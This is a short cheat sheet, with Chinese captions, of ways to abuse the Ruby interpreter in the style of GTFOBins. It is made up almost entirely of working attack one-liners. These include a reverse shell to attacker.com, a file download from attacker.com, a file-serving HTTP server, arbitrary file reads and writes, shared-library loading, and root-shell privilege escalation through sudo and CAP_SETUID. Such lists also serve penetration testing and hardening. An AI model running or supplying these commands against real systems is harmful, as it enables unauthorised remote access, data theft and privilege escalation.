用来生成一个交互式的系统shell。
ruby -e 'exec "/bin/sh"'
向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. export RHOST=attacker.com
export RPORT=12345
ruby -rsocket -e 'exit if fork;c=TCPSocket.new(ENV["RHOST"],ENV["RPORT"]);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
上传文件到外部。
export LPORT=8888
ruby -run -e httpd . -p $LPORT
下载远程文件。
export URL=http://attacker.com/file_to_get
export LFILE=file_to_save
ruby -e 'require "open-uri"; download = open(ENV["URL"]); IO.copy_stream(download, ENV["LFILE"])'
将数据写入文件中。
ruby -e 'File.open("要写入的文件", "w+") { |f| f.write("DATA") }'
从文件中读取数据。
ruby -e 'puts File.read("要读取的文件路径")'
加载共享库,这些共享库可以被用来在二进制文件的执行上下文中运行代码。
ruby -e 'require "fiddle"; Fiddle.dlopen("lib.so")'
如果二进制文件被 sudo 允许以超级用户身份运行,可能被用于访问文件系统、提升或维持特权访问。
sudo ruby -e 'exec "/bin/sh"'
如果二进制文件具有设置的 Linux CAP_SETUID 能力,或者由另一个具有该能力的二进制文件执行,它可以被用作后门,通过操纵自身的进程 UID 来维持特权访问。
./ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'